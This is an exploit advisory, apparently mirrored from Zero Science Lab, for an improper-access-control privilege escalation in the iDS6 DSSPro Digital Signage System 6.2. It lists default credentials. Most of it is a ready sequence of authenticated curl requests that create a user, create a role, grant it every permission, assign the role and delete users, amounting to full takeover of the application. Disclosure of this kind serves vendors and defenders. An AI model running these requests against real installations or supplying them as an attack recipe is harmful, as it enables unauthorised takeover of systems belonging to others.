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iDS6 DSSPro Digital Signage System 6.2 - Improper Access Control Privilege Escalation Vulnerability
# Exploit Title: iDS6 DSSPro Digital Signage System 6.2 - Improper Access Control Privilege Escalation # Exploit Author: LiquidWorm # Vendor Homepage: http://www.yerootech.com # Version: 6.2 iDS6 DSSPro Digital Signage System 6.2 Improper Access Control Privilege Escalation Vendor: Guangzhou Yeroo Tech Co., Ltd. Product web page: http://www.yerootech.com Affected version: V6.2 B2014.12.12.1220 V5.6 B2017.07.12.1757 V4.3 Summary: iDS6 Software's DSSPro network digital signage management system is a web-based server software solution for Windows. Desc: The application suffers from a privilege escalation vulnerability. An authenticated user can elevate his/her privileges by calling JS functions from the console or by insecure direct object references to hidden functionalities that can result in creating users, modifying roles and permissions and full takeover of the application. Tested on: Microsoft Windows XP Microsoft Windows 7 Microsfot Windows Server 2008 Microsoft Windows Server 2012 Microsoft Windows 10 Apache Tomcat/8.0.44 Apache Tomcat/6.0.35 Apache-Coyote/1.1 Apache Axis/1.4 MySQL 5.5.25 Java 1.8.0 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5608 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5608.php 16.07.2020 -- -------------------- Default credentials: -------------------- admin:123456 (id: n/k, access: /admin) boss:boss (id: 100001, access: /) user:user (id: 100002, access: /) ---------------------------- Once logged-in, create user: ---------------------------- In Console, once navigated to the Accounts->User page (http://192.168.1.88/Pages/user.action) Type: add() or issue a POST request: $ curl -d "user.userName=testingus&user.password=testingus" http://192.168.1.88/Pages/user\!addUser -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" -------------- List user IDs: -------------- $ curl -d "az=asc" http://192.168.1.88/Pages/user\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" ------------ Create role: ------------ In Console, once navigated to the Accounts->Role page (http://192.168.1.88/Pages/role.action): Type: add() or issue a POST request: $ curl -d "role.roleName=ROLENAME&role.description=ROLEDESC" http://192.168.1.88/Pages/role\!add -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" -------------- List role IDs: -------------- $ curl -X POST http://192.168.1.88/Pages/role\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" ------------------------------------------ Apply all permissions to the created role: ------------------------------------------ $ curl http://192.168.1.88/Pages/role\!updatePermissions -d "role.roleId={ROLE_ID}&privileges=2&privileges=1&privileges=3&privileges=4&privileges=7&privileges=6&privileges=5&privileges=12&privileges=8&privileges=13&privileges=9&privileges=10&privileges=11&privileges=14&privileges=16&privileges=15&privileges=17&privileges=18&privileges=21&privileges=33&privileges=32&privileges=34&privileges=35&privileges=36&privileges=37&privileges=23&privileges=22&privileges=24&privileges=41&privileges=47&privileges=46&privileges=48&privileges=49&privileges=50&privileges=51&privileges=52&privileges=53" ------------------------------------ Assign created role to created user: ------------------------------------ $ curl -d "user.userId={USER_ID}&roles={ROLE_ID}" http://192.168.1.88/Pages/user\!updateRole -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" ------------ Delete user: ------------ In Console, once navigated to the Accounts->User page (http://192.168.1.88/Pages/user.action), select desired username: Type: del() or issue a POST request: $ curl -d "userid={USER_ID}" http://192.168.1.88/Pages/user\!del -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B" # 0day.today [2024-07-01] #